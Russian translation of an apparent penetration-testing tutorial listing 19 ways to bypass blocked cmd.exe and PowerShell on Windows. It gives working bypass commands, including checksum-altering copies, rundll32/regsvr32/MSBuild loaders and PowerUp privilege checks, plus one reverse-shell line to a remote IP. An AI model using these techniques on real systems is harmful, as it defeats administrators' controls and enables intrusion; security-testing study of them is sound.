19 способов обойти программные ограничения

19 способов обойти программные ограничения

 

Жизненно важно выполнить тщательный анализ конфигурации хоста предоставленной рабочей станции. Однако это не тема данной статьи. Здесь мы сосредоточимся на очень конкретной области, а именно на доступе к инструментам командной строки. Таким образом, информация в этой статье применима также к различным решениям VDI (Virtual Desktop Infrastructure), таким как Citrix, VMWare и другим.

В большинстве зрелых сред и в большинстве этих тестов доступ к инструментам командной строки ограничен. Сотрудники обычно не могут запускать командную строку или PowerShell. Обычно это ограничивается с помощью AppLocker, GPO и / или SRP.

Cmd заблокирован администратором

Когда мы пытаемся запустить командную строку (cmd.exe), мы обычно видим следующее сообщение об ошибке:

The command prompt has been disabled by your administrator.

Press any key to continue . . .

The command prompt has been disabled by your administrator error   19 способов обойти программные ограничения

PowerShell заблокирован групповой политикой

Точно так же, когда мы пытаемся запустить интерпретатор PowerShell (powershell.exe), мы обычно видим это сообщение об ошибке:

This app has been blocked by your system administrator.

Contact your system administrator for more info.

This app has been blocked by your system administrator error  19 способов обойти программные ограничения

Можем ли мы как-то обойти эти ограничения и создать командную строку? В этой статье мы рассмотрим более 19 методов, как это сделать. Пока мы не нашли ни одного случая, когда бы мы не смогли добиться успеха с этими методами.

Произвольное выполнение команды по сравнению с созданием оболочки

Существует различие между выполнением произвольной команды (ACE) и созданием оболочки. Хотя ACE на самом деле не является предметом этой статьи, обычно необходимо выполнить ACE, чтобы обойти ограничения и создать интерактивное окно оболочки.

Давайте кратко упомянем несколько ресурсов и методов того, как мы обычно выполняем произвольные команды в системах Windows, когда все в жестких условиях.

PenTestРуководство для партнеров

В 2014 году Майкл Ярдли написал одно из лучших исчерпывающих руководств о том, как выйти из Citrix и других ограниченных рабочих сред. Он по-прежнему очень полезен, поскольку содержит основные концепции и методологии обхода различных ограничений. Вы можете найти это здесь:

Руководство содержит множество советов и приемов, как выполнять ACE, и даже несколько способов, как создать командную строку.

LOLBAS

Проект LOLBAS — это проект сообщества, каталогизирующий различные встроенные в Windows утилиты с «неожиданными» функциями, которые можно использовать по скрытым мотивам. Используя эти утилиты, мы можем загружать файлы, копировать вещи, выполнять ACE или полностью обходить некоторые ограничения. Проект находится здесь:

Но некоторые из самых простых, простых и эффективных способов выполнения ACE — это использование меню «Пуск» (поиск Кортаны), ярлыков или встроенных функций сценариев Windows. Эти вещи работают практически везде.

Кортана / меню Пуск

В меню Cortana / Start мы можем вызывать практически любую команду, которая нам нравится, включая сложные команды с параметрами и операторами перенаправления (>, >>). Совместите это с техникой LOLBAS, и вы практически ничего не сможете сделать.

Иногда мы также обнаруживаем, что предоставление полного пути к программам фактически преодолевает некоторые ограничения (см. Метод № 1 ниже).

Ярлыки

Используя ярлыки, мы также можем выполнять практически все, что угодно, включая сложные команды с параметрами. Однако обратите внимание, что операторы перенаправления не работают непосредственно в ярлыках, а также существует ограничение на длину команды (максимум 259 символов).

Пакетный (.bat)

Иногда создание командной строки ограничено, в то время как создание командного файла (.bat) и двойной щелчок по нему с радостью выполнят все команды в нем.

Visual Basic (.vbs)

Visual Basic также удобен для выполнения ACE, особенно в очень защищенных средах. Мы можем просто поместить произвольную команду в файл .vbs следующим образом:

cmd = "<COMMAND>"

out = "c:\users\public\output.txt"

Set a = CreateObject("Wscript.Shell").Exec(cmd)

Set o = CreateObject("Scripting.FileSystemObject")

Set oo = o.CreateTextFile(out,True)

oo.WriteLine(a.StdOut.ReadAll())

oo.WriteLine(a.StdErr.ReadAll())

oo.Close()

А затем выполните его с помощью cscript.exe или wscript.exe, например, через поиск Кортаны / меню Пуск или ярлык:

cscript c:\path\to\our.vbs

wscript c:\path\to\our.vbs

Arbitrary command execution using cortana search / start menu or a shortcut 19 способов обойти программные ограничения

Затем результат будет записан в файл c: \ users \ public \ output.txt.

Существует практически неограниченное количество способов выполнения ACE в системе Windows. Давайте продолжим нашу тему.

Размещение файлов по доступным для записи путям

Одним из наиболее важных аспектов обхода ограничений является понимание того, что часто эти ограничения не применяются единообразно ко всем местоположениям в системе. Обычно в системе есть некоторые места (каталоги), где размещение наших файлов (исполняемых файлов, библиотек, кодов) позволяет обойти ограничения.

Что нас больше всего интересует, так это места, откуда мы можем писать и выполнять. Эти местоположения могут включать такие местоположения, как домашние папки, папки профиля, временные папки и многие другие. См. Следующий список для иллюстрации:

Обычно мы добиваемся большого успеха, используя эти места:

        • C:\Users\Public
        • C:\Windows\Tasks
        • C:\Windows\Tracing
        • C:\Windows\System32\Spool\Drivers\Color

Помните об этом, используя описанные ниже методы и пытаясь разместить предметы в этих местах. Обратите внимание, что вы также можете использовать следующий сценарий PowerShell для поиска таких мест:

Обход заблокированной командной строки

Метод 1. Используйте полные пути

Иногда, указав полный путь к cmd.exe в меню поиска / запуска Cortana, можно обойти ограничения и запустить его:

Bypass restrictions via cortana search by providing full path to cmd.exe  19 способов обойти программные ограничения

Вы можете сделать то же самое с powershell.exe. Чтобы найти все эти места, вы можете просто выполнить поиск в каталоге C: \ Windows с помощью файлового проводника или использовать следующие команды:

cd %windir%

dir /s /b cmd.exe

dir /s /b powershell.exe

Метод 2: импортировать объект в WordPad

Другой метод, который иногда работает как обходной путь, — это запустить редактор WordPad и затем вставить cmd.exe как объект вроде этого:

Bypass restrictions via WordPad - insert cmd.exe object  19 способов обойти программные ограничения

Bypass restrictions via WordPad - run inserted cmd.exe object  19 способов обойти программные ограничения

Bypass restrictions via WordPad - spawned cmd.exe  19 способов обойти программные ограничения

Метод 3: Cmd.bat

Это очень старый метод, вероятно, появившийся на заре Интернета.

Создайте следующий командный файл, назовите его как угодно, например a.bat и просто запустите его:

@echo off

:a

set /p comm=cmd~

%comm%

goto a

Скорее всего, вы получите командную строку. Если он все еще заблокирован, попробуйте переместить его в другое место, например, указанное выше.

cmd.bat prompt  19 способов обойти программные ограничения

Метод 4: ReactOS Cmd

Link: https://blog.didierstevens.com/2010/02/04/cmd-dll/

Это лакомство было создано Дидье Стивенсом (@DidierStevens) в 2010 году, и оно используется до сих пор. Это в основном переработанная командная строка Microsoft (cmd.exe), созданная проектом ReactOS, и практически на 100% совместима с ней. Дидье взял ее и преобразовал в DLL, так что это, по сути, командная строка, реализованная в виде библиотеки. Но Дидье на этом не остановился …

Последняя версия (https://didierstevens.com/files/software/cmd-dll_v0_0_4.zip) содержит следующие 3 формы:

Версия EXE (cmd.exe)

Вы просто дважды щелкаете исполняемый файл и запускаете его. Скорее всего, он не будет заблокирован антивирусным ПО, и появится окно командной строки ReactOS. Затем вы можете ввести любую команду, как в командной строке cmd.exe.

Версия DLL (cmd.dll)

Версия DLL, которую необходимо загрузить с помощью rundll32.exe, выглядит следующим образом:

rundll32.exe cmd.dll,main

Например, вы можете запустить его из диалогового окна «Выполнить» (Win + R), из меню поиска / «Пуск» Кортаны или с ярлыка. Окно командной строки ReactOS должно появиться следующим образом:

ReactOS cmd prompt   19 способов обойти программные ограничения

Версия VBA (cmd.dll.bin.vba)

Здесь вам в основном нужно создать документ Microsoft Office и добавить в него макрос. Вы также можете сделать это, например, из Outlook. После того, как вы открыли редактор макросов (Visual Basic IDE), просто перейдите:

        • File -> Import File -> c:\path\to\cmd.dll.bin.vba
        • Run (F5)

И должно появиться окно командной строки ReactOS.

Метод 5: FTP-клиент

На самом деле это не обход заблокированной командной строки, но будет справедливо включить метод здесь, потому что встроенный FTP-клиент (ftp.exe) позволяет выполнять команды в системе в интерактивном окне, как и fприглашение cmd.exe. . Клиент tp поддерживает использование bang (!) для запуска локальных команд.

Просто запустите ftp-клиент, например через меню Пуск:

        • Start -> ftp

Иногда это может быть заблокировано, но когда вы укажете полный путь к нему, это сработает:

        • Start -> c:\windows\system32\ftp.exe

Directory listing using FTP client ftp.exe bang commands  19 способов обойти программные ограничения

Метод 6: обход контрольной суммы

Это один из наших любимых методов. Он работает, когда cmd.exe занесен в черный список на основе его контрольной суммы. Чтобы обойти это, просто сделайте копию cmd.exe и добавьте байт в ее конец (оверлей). Это изменит его контрольную сумму, но это не повлияет на функциональность. В основном мы должны выполнить следующие команды:

copy c:/windows/system32/cmd.exe c:\users\public\a.exe

echo >>c:\users\public\a.exe

c:\users\public\a.exe

Скорее всего, появится наша измененная командная строка. Пример создания его через ftp-клиент:

Spawned copy of cmd.exe with appended character  19 способов обойти программные ограничения

Тот же метод можно применить для создания интерпретатора powershell.exe.

Метод 7: консоль WMI

На самом деле это не обход заблокированной командной строки, но, опять же, будет справедливо включить его сюда, потому что консоль WMI (wmic.exe) открывает интерактивное окно, которое может быть даже более мощным, чем командная строка cmd.exe. Вот несколько полезных ссылок с примерами его использования:

Просто создайте консоль, например. через меню Пуск следующим образом:

        • Start -> wmic

Если он заблокирован, попробуйте использовать полный путь следующим образом:

        • Start -> C:\windows\syswow64\wbem\wmic.exe

Обход заблокированного PowerShell

В этом разделе перечислены различные известные методы обхода заблокированной оболочки PowerShell и запуска интерпретатора PowerShell и / или выполнения произвольных команд PowerShell. Большинство этих методов основано на настраиваемых инструментах, которые используют библиотеки PowerShell, имеющиеся в системах Windows.

Метод 8: PowerShdll

Link: https://github.com/p3nt4/PowerShdll

Этот инструмент был создан @ xP3nt4 в 2017 году. Это настраиваемый интерпретатор, подобный PowerShell, в форме DLL. Его можно запустить с rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe или как отдельный исполняемый файл.

Просто возьмите последнюю версию, перенесите ее на целевую машину и создайте ее, используя любую из этих команд:

# On x86/x64 platforms:

rundll32.exe PowerShdll,main

regsvr32.exe /s PowerShdll.dll

regsvr32.exe /s /u PowerShdll.dll

# On x64 platforms: C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll

# On x86 platforms: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll

У вас должно быть создано окно интерпретатора PowerShdll, готовое для ваших команд, например:

PowerShdll prompt

Обратите внимание, что существуют ограничения на длину команд (максимум 255 символов для команд), что может быть проблемой. Но вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell, чтобы обойти ограничения.

Метод 9: MSBuildShell

Link: https://github.com/Cn33liz/MSBuildShell

Этот проект из 2016 года был выполнен @ Cn33liz. Это еще один настраиваемый интерпретатор, подобный PowerShell, но он работает в Microsoft Build Engine (MSBuild.exe). Утилита MSBuild.exe является частью платформы .NET и присутствует практически в каждой установке Windows.

Просто возьмите файл MSBuildShell.csproj из репозитория, перенесите его на целевой компьютер и запустите следующим образом:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildShell.csproj # Or C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

У вас должно появиться окно интерпретатора MSBuildShell, готовое для ваших команд, например:

MSBuildShell prompt

Теперь вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell.

Метод 10: CScriptShell

Linkhttps://github.com/carnal0wnage/CScriptShell

Этот основан на MSBuildShell. Это было сделано в 2017 году также @Cn33liz путем улучшения метода обхода, опубликованного @SubTee. По сути, это тот же код, что и MSBuildShell, но на этот раз в виде DLL. Сначала вам нужно собрать DLL на своем компьютере с помощью csc.exe (компилятор C#) следующим образом:

# Create Your Strong Name Key (using PowerShell):

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQDpppNj5RmGMzd+NkKLJYCF4hDgM4K0KpgdHXfiNKXleoVrvpQz75gSNQJyN/pROTNBhEA0jp5IqrEqdJQsPzXYO

3l5JGDtpu3AD7dxge1oUWpugdk5ZHIMOsB1Il/FL+96m39ZZL7o5LHCdHdctEeTG+S15IDyM7L9VoAi7cXsueP7kvvTJETonQoz4JRdH889XnTDWeb

wj3ViH6zq+Xv5/l0iJh65v6VAzYLfCKEkFzev36w8RJYpwMMwwHDlCMvDYwdY2MFFp/ZQHg7If0BuDLM7D5ozGJnEVUTwwM+gZQ1LRn5EE6WrffQ/G

y2XtzvH4wRlYX939aOm8XVOPm3q0yVe40xxQaR3NR5v6G59dcZWU8baoZFes9mXg3ydQxkPgxbmjJ+Vfw0IVdj4VqrJ0O2IB+eSf9N305Hf32sqooO

uytsKIS/DBJ9T5njUV3rQZzguyKGdFZfE4flPBkuRWHXMM63kyKQNLalf3XRTKP3+4Aw+YS9Q+bH53Y4uIIVkR3uN8beKlXBCg1Ja+3qCyMrhSsuhE

evrsQTVypHWouG49esZSyYQoyXXxGKwpEuDFmdFmSXEnru54lb/PuOHVTlQHR7hd6TAe0tFOaJWDosNN1QPLTicIvmfeU5KvNsrBMmdnf7NF3yzNAN

5jf4DEYg1UK6x0s+IP2JCumjjTx4GIm3h/eO+AqlIy8xbUeZFyln3P5XSQ1ErRRiVGGp1TLa5vNPf8Y4LcV1LSSKnNspw7H3Fw0UyxDs5t+tNQ1I='

$Content = [System.Convert]::FromBase64String($key)

 

Set-Content key.snk -Value $Content -Encoding Byte

# Compile DLL

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /r:System.EnterpriseServices.dll,System.Management.Automation.dll /target:library /out:CScriptShell.dll

/keyfile:key.snk CScriptShell.cs

Затем вы можете взять созданный файл CScriptShell.dll и файл CScriptShell.js из репозитория и перенести их на целевую машину. Затем вы запускаете интерпретатор, запуская его через cscript.exe следующим образом:

cscript.exe CScriptShell.js

CScriptShell prompt

Теперь вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell.

Способ 11: p0wnedShell

Link: https://github.com/Cn33liz/p0wnedShell

Это еще один инструмент, созданный @Cn33liz, первая фиксация которого была сделана в 2015 году. Это набор инструментов постэксплуатации PowerShell Runspace. По сути, это еще один интерпретатор, похожий на PowerShell, но он содержит множество полезных модулей и командлетов, встроенных внутрь.

Чтобы использовать его, вы должны собрать его с помощью Microsoft Visual Studio. После сборки перенесите созданный двоичный файл p0wnedShell.exe на цель и запустите его. Вы должны увидеть что-то вроде этого:

p0wnedShell prompt

Выберите вариант 16 для интерактивного интерпретатора PowerShell. Теперь вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell. Обратите внимание, что интерпретатор поставляется с несколькими модулями постэксплуатации, уже загруженными в пространство выполнения.

Способ 12: PSShell

Link: https://github.com/fdiskyou/PSShell

Этот проект был выполнен @fdiskyou в 2016 году. Это интерактивный интерпретатор, похожий на PowerShell, и он существует в двух версиях (выпусках):

Версия 2.0: версия DLL

Этот вы должны скомпилировать с помощью Microsoft Visual Studio. После завершения компиляции перенесите созданный двоичный файл PSShell.dll на целевую машину и запустите его с помощью любой из следующих команд:

rundll32 PSShell.dll,EntryPoint

# Or

regsvr32 PSShell.dll

# Or regsvr32 /u PSShell.dll

Выпуск 1.0: версия EXE

Вы можете скомпилировать его с помощью встроенного компилятора C# csc.exe (не требуется Visual Studio). Обязательно загрузите версию 1.0, а затем скомпилируйте ее с помощью csc.exe следующим образом:

# Go to the latest .NET version folder, e.g.:

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compile:

csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll

/out:C:\users\username\PSShell.exe /platform:x64 "C:\path\to\PSShell\Program.cs"

Затем просто перенесите созданный двоичный файл PSShell.exe на целевую машину и запустите его. Окно интерпретатора PSShell должно выглядеть так:

PSShell prompt

Теперь вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell.

Способ 13: PowerOPS

Link: https://github.com/fdiskyou/PowerOPS

Это тоже от @fdiskyou и тоже из 2016 года. Это еще один интерактивный интерпретатор, похожий на PowerShell. Он называется PowerShell Runspace Portable Post Exploitation Tool. Он поставляется с рядом полезных модулей и функций, предварительно загруженных в среду выполнения. Сюда входят такие модули, как PowerSploit, Nishang, Empire и другие.

Процесс сборки прост и понятен — вы можете скомпилировать его с помощью csc.exe (не требуется Visual Studio). Просто клонируйте репозиторий и выполните:

# Go to the latest .NET version folder, e.g.:

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compile:

csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll

/out:C:\users\username\PowerOPS.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS\*.cs"

Затем просто перенесите созданный двоичный файл PowerOPS.exe на целевую машину и запустите его. Окно интерпретатора PowerOPS должно выглядеть следующим образом:

PowerOPS prompt

Теперь вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell. Вы также можете использовать предварительно загруженные модули (PowerSploit, Nishang, Empire и т. д.).

Метод 14: Nps (не PowerShell)

Link: https://github.com/Ben0xA/nps

На самом деле это не интерпретатор PowerShell. Это инструмент, который позволяет запускать команды PowerShell без использования powershell.exe. Он был создан Беном Теном (@Ben0xA) в 2015 году.

В проект уже включен бинарный файл nps.exe, который вы можете использовать сразу (nps.zip). Или вы можете скомпилировать свою собственную версию и добавить некоторые запутывания, если это необходимо. Чтобы скомпилировать собственную версию, просто используйте встроенный компилятор C# csc.exe следующим образом:

# Go to the latest .NET version folder, e.g.:

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compile:

csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\username\nps.exe /platform:x64 "C:\path\to\nps\*.cs"

Затем просто перенесите двоичный файл nps.exe в целевую систему и запустите его следующим образом:

# Usage:

nps.exe "powershell single command"

nps.exe "& {commands; semi-colon; separated}"

nps.exe -encodedcommand {base64_encoded_command}

nps.exe -encode "commands to encode to base64"

nps.exe -decode {base64_encoded_command}

Теперь вы можете запускать любые команды PowerShell с помощью nps.exe. Вы также можете импортировать дополнительные модули с помощью команды Import-Module. Вот пример с модулем PowerUp.ps1 для проверки повышения привилегий:

c:\users\public\nps.exe "Set-ExecutionPolicy -Scope CurrentUser Bypass; Import-Module c:\users\public\PowerUp.ps1;

Invoke-AllChecks >c:\users\public\results.txt"

Например, вы можете ввести его прямо в меню поиска / запуска Cortana, как показано ниже, и оно будет выполнено в окне консоли, не создавая ни одного экземпляра процесса powershell.exe:

Running nps.exe with PowerUp.ps1 module

Затем результаты будут записаны в файл c:\users\public\results.txt.

Способ 15: NoPowerShell

Link: https://github.com/bitsadmin/nopowershell

NoPowerShell был создан Arris Huijgen (@bitsadmin) в 2018 году. Это еще один интерпретатор, похожий на PowerShell, но он отличается от других — он не использует библиотеку System.Management.Automation.dll. Его цель — быть как можно более скрытным. Например, его можно загрузить в Cobalt Strike и выполнять команды в памяти. Он также содержит ряд встроенных модулей и командлетов для постэксплуатации.

Вы можете легко улучшить его и создать свою собственную версию (например, добавить некоторую анти-AV обфускацию) или вы можете просто взять двоичные файлы последней версии и перенести их на целевую машину.

Версия DLL порождает интерактивное окно подсказки, подобное этому:

# On x64 platforms:

rundll32.exe NoPowerShell64.dll,main

 

# On x86 platforms:

rundll32.exe NoPowerShell.dll,main

NoPowerShell prompt

EXE-версия

Версия EXE не является интерактивным интерпретатором. Это больше похоже на описанный выше Nps, где он позволяет запускать команды, подобные PowerShell, без запуска powershell.exe. Пример:

# Usage:

NoPowerShell.exe [Command] [Parameters] | [Command2] [Parameters2] etc.

 

# Example:

NoPowerShell.exe Get-Command - list all supported commands

NoPowerShell.exe Get-ComputerInfo - get computer info

NoPowerShell.exe Get-NetIPAddress -All - get IP address configuration

NoPowerShell.exe Get-NetNeighbor - get ARP table

Обратите внимание, что у этого инструмента есть некоторые ограничения. Это не полноценная среда PowerShell. Например, вы не можете загружать дополнительные модули с помощью команды Import-Module или запускать произвольные команды PowerShell. Доступны только поддерживаемые команды. См. официальный Cheatsheet или запустите Get-Command для получения списка поддерживаемых команд.

Способ 16: PowerLine

Link: https://github.com/fullmetalcache/PowerLine

Это один из наших любимых. Этот инструмент был создан Брайаном Ферманом (@fullmetalcache) в 2017 году. Это не интерактивный интерпретатор, но он позволяет упаковать любое количество произвольно выбранных модулей PowerShell в один исполняемый файл. Вы должны сначала собрать это на своей машине, а затем перенести созданный исполняемый файл на целевую машину. Исполняемый файл будет содержать версии всех сценариев, которые вы указали в процессе сборки, в кодировке XOR и base64.

Процесс сборки очень прост и понятен — Visual Studio не требуется. Просто выполните следующие действия:

# 1. Clone the repository

git clone https://github.com/fullmetalcache/PowerLine.git

# 2. Run the build.bat file

cd PowerLine

build.bat

# 3. Edit the UserConf.xml file and add links to the PowerShell scripts that you would like to add:

notepad UserConf.xml

# 4. Run the PLBuilder.exe file

PLBuilder.exe

После завершения процесса сборки будет создан файл PowerLine.exe. Теперь вы можете взять этот файл и перенести его на целевую машину. Затем используйте его следующим образом:

# Usage:

PowerLine.exe -ShowScripts                                          - list all embedded scripts

PowerLine.exe <Module> "Get-Command"                   - list all available commands

# Examples:

PowerLine.exe PowerUp "Invoke-AllChecks"

PowerLine.exe Invoke-WCMDump "Invoke-WCMDump"

Вот пример того, как это выглядит. Вы можете встроить в него практически все:

PowerLine embedded modules

Например, внедрив модуль Invoke-PowerShellTcp (он включен по умолчанию), вы также можете запустить интерактивный интерпретатор PowerShell по сети следующим образом:

PowerLine.exe Invoke-PowerShellTcp "Invoke-PowerShellTcp -Reverse -IPAddress 192.168.204.223 -Port 4444"

PowerLine reverse shell using Invoke-PowerShellTcp

Способ 17: PowerLessShell

Link: https://github.com/Mr-Un1k0d3r/PowerLessShell

Это еще один инструмент, который может запускать код PowerShell, не создавая ни одного экземпляра powershell.exe. Он был написан @MrUn1k0d3r в 2017 году. PowerLessShell — это инструмент Python, и он работает так, что вы поставляете ему скрипт PowerShell, и он преобразует его в файл csproj. Затем вы можете выполнить его через MSBuild.exe.

Метод 18: SharpPick

Link: https://github.com/TheKevinWang/SharpPick

Этот инструмент был первоначально разработан @sixdub в 2015 году как часть PowerTools. Позже он был улучшен Кевином Ваном в 2018 году. SharpPick не является интерактивным интерпретатором, но позволяет запускать произвольный код PowerShell, указанный в качестве параметра, аналогично Nps, PowerLine или NoPowerShell, описанным выше.

Сначала вы должны скомпилировать его на своей машине. Инструкции по его компиляции с помощью Microsoft Visual Studio задокументированы на веб-сайте. Мы также можем скомпилировать его с помощью csc.exe после некоторых незначительных изменений, выполнив следующие действия:

# Go to the latest .NET version folder,

e.g.: cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compile:

csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\public\sharppick.exe

/platform:x64 "C:\users\public\SharpPick.cs"

После компиляции просто перенесите бинарный файл Sharpick.exe в целевую систему и запустите его следующим образом:

Usage: sharppick.exe [<flag> <argument>]

flags:

-f <file> : Read script from specified file

-d <url> : Read script from URL

-a <delimeter> : Read script appended to current binary after specified delimeter.

-c <command> : PowerShell command to execute, enclosed on quotes.

Что хорошо в этом инструменте, так это то, что вы можете указать сценарий для запуска либо из файла, либо из URL-адреса. Вы также можете добавить произвольный код PowerShell в сам бинарный файл Sharpick.exe, а затем запустить его, используя параметр -a. Или вы можете просто указать команду в качестве параметра, используя параметр -c.

С помощью этого инструмента вы можете запускать любые команды PowerShell. Вы также можете импортировать дополнительные модули с помощью команды Import-Module. Вот снова пример с модулем PowerUp.ps1:

c:\users\public\sharppick.exe -c "Set-ExecutionPolicy -Scope CurrentUser Bypass; Import-Module c:\users\public\PowerUp.ps1; Invoke-AllChecks >c:\users\public\results.txt"

Вы могли бы, опять же, ввести эту команду прямо в меню поиска / запуска Cortana, как в нашем примере с nps.exe выше, или вы можете, например, создать новый ярлык и вставить туда команду следующим образом:

Running Invoke-AllChecks from PowerUp using SharpPick

После двойного щелчка по ярлыку наша команда будет выполнена и результаты будут записаны в файл c:\users\public\results.txt. И все это без создания ни одного экземпляра powershell.exe.

Способ 19: Собственный минималистичный интерпретатор PowerShell

Link: https://decoder.cloud/2017/11/02/we-dont-need-powershell-exe/

В упомянутой статье, написанной @decoder_it в 2017 году, описывается метод написания собственного минималистского интерпретатора PowerShell и его компиляция с использованием встроенного компилятора C# (csc.exe). Мы вдохновились этим и создали собственную версию с некоторыми улучшениями для более удобного использования. Мы добавили поддержку команды cd, а также добавили возможность отлавливать ошибки, чтобы интерпретатор не вылетал. Вы можете найти его на нашем github ниже.

Link: https://github.com/InfosecMatter/Shells-for-restricted-environments/tree/master/minips

Доступны 2 версии:

Версия Minips.cs

Эту версию можно скомпилировать в исполняемый файл с помощью встроенного компилятора C# (csc.exe), выполнив следующие действия:

# Go to the latest .NET version folder, e.g.:

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

# Compile:

csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\public\minips.exe

/platform:x64 "C:\users\public\minips.cs"

Затем вы просто запускаете созданный бинарный файл minips.exe в целевой системе, и окно интерпретатора будет выглядеть следующим образом:

MiniPS custom minimalistic PowerShell interpreter

Версия Minips.xml

Эту версию можно просто запустить с помощью Microsoft Build Engine (MSBuild.exe) следующим образом:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe c:\path\to\minips.xml

Вы можете снова ввести эту команду прямо в меню поиска/Пуск Cortana или в ярлык, и окно интерпретатора будет выглядеть так:

MiniPS custom minimalistic PowerShell interpreter in MSBuild.exe

Теперь вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell.

Дополнительные ссылки

Вывод

Очевидно, что всегда существует компромисс между удобством использования и безопасностью. Продолжайте исследовать возможные последствия и найдите правильный баланс, подходящий для вашей конкретной организации и ее профиля рисков.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Click to rate this post!
[Total: 1 Average: 5]

Leave a reply:

Your email address will not be published.